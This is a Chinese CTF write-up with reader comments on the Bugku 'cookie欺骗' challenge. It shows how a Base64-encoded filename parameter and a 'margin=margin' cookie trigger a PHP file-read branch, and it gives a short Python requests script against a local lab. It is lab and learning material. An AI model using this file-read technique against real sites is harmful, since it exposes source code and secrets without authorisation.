如何复现该漏洞利用流程
TOPIC SOURCE
Bugku-cookie欺骗
在实际复现该文件读取漏洞时,往往会因为细节忽略而导致请求始终返回默认页面。本文从实验环境搭建、参数解码到请求构造全链路剖析,帮助安全研究者在本地或靶机上完整复现利用过程。
环境准备
建议使用 Docker 部署目标 PHP 程序,镜像基于 php:7.4-apache,将源码挂载至 /var/www/html。启动容器后,确认 http://localhost/index.php 能正常返回页面,且默认 error_reporting 已被关闭,以免干扰后续调试。
关键参数解码
漏洞入口的 filename 参数采用 Base64 编码。对照源码可以看到:
$file = base64_decode($_GET['filename'] ?? '');
因此需要先将目标文件名(如 keys.php)进行 Base64 编码得到 a2V5cy5waHA=,随后填入 URL。若不进行编码,服务器端会直接返回空值并触发重定向。
构造请求与 Cookie
- GET 参数:
filename=a2V5cy5waHA=,line=0(读取首行) - 必备 Cookie:
margin=margin,该值会在源码中触发$file_list[2]='keys.php'分支。 - 使用
curl或requests库发送请求,务必保持 Cookie 与参数同步。
import requests
s = requests.Session()
cookies = {'margin': 'margin'}
url = 'http://127.0.0.1/index.php?filename=a2V5cy5waHA=&line=0'
resp = s.get(url, cookies=cookies)
print(resp.text) # 若成功,输出 flag 所在行内容
结果验证
若返回的正文中出现类似 FLAG{xxxx} 的字符串,即说明文件读取分支已被触发,漏洞利用成功。此时可以进一步修改 line 参数读取文件的其他行,或尝试读取同目录下的 index.php 进行代码审计。

参与讨论
这玩意搞了三天终于跑通了,差点以为环境有问题。
求问line参数不加会怎样?
之前搞过类似的,Cookie那个margin纯属阴间设计😭
怎么我返回的还是默认页啊,Base64确认没错啊?
curl加个-v看看头信息呗,可能重定向没跟上。
说白了就是拼配置,一步错全完蛋。
有人踩过坑吗,filename编码后还要urlencode吗?
我试了直接用python发请求,结果卡在cookie上了,必须叫’margin’才行?
这个分支触发太隐蔽了,源码不细看根本想不到。
感觉还行,就是调试起来费眼睛。
Docker那步能不能换成本地PHP?版本不对是不是就歇菜?
flag出来了但只有一行,想读完整文件咋办?
可以写个脚本批量读line,从0开始递增就行。
太折磨了这也,一个参数错就前功尽弃。
那个margin=margin……是防君子不防小人?🤔